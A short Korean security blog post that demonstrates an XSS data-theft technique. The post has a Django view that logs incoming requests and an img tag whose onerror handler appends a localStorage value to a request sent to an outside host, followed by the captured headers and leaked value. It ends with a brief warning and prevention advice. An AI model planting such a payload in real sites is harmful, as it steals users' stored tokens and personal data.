[보안] XSS HTML Image 태그 주의할 점 - 2

[보안] HTML Image 태그 주의할 점 - 2

route 및 controller 작성

path("something.png", SomethingView.as_view())

class SomethingView(View):

    def get(self, request, *args, **kwargs):
        print(request.headers)
        print(request.GET)
        return HttpResponse(status=204)

HTML Image 작성

해당 이미지가 출력되는 곳에서 local storage에 xxx 키값으로 저장되어 있는 값을 가져오고자 한다.

<img alt="" src="https://something.file.com/something.png"     
     onerror="this.src = this.src + '?q=' + localStorage.getItem('xxxx'); this.onerror=null;">

결과

만약 local storage, cookie 등의 비휘발성의 데이터가 사용자 Client에 저장되어 있고 특정 키 값을 추적하여 확인한다면 서비스 개발자 외에도 서비스 사용자의 정보를 몰래 가져갈 수 있다.

방지하는 방법은 알려진 방법들에 대해서 프론트 엔드와 백엔드에서 1,2차적으로 방지하고 백엔드단에서 보안 검사하는 라이브러리 등을 사용 하는 것이다. 

{'Content-Length': '', 'Content-Type': 'text/plain', 'Host': 'xxxx', 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36', 'Accept': 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6,und;q=0.5', 'Cookie': 'abuse_interstitial=xxxx', 'Referer': 'xxxxx', 'Sec-Ch-Ua': '"Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111"', 'Sec-Ch-Ua-Mobile': '?0', 'Sec-Ch-Ua-Platform': '"macOS"', 'Sec-Fetch-Dest': 'image', 'Sec-Fetch-Mode': 'no-cors', 'Sec-Fetch-Site': 'cross-site', 'X-Forwarded-For': '123.456.789.123', 'X-Forwarded-Proto': 'https'}

<QueryDict: {'q': ['exposed']}>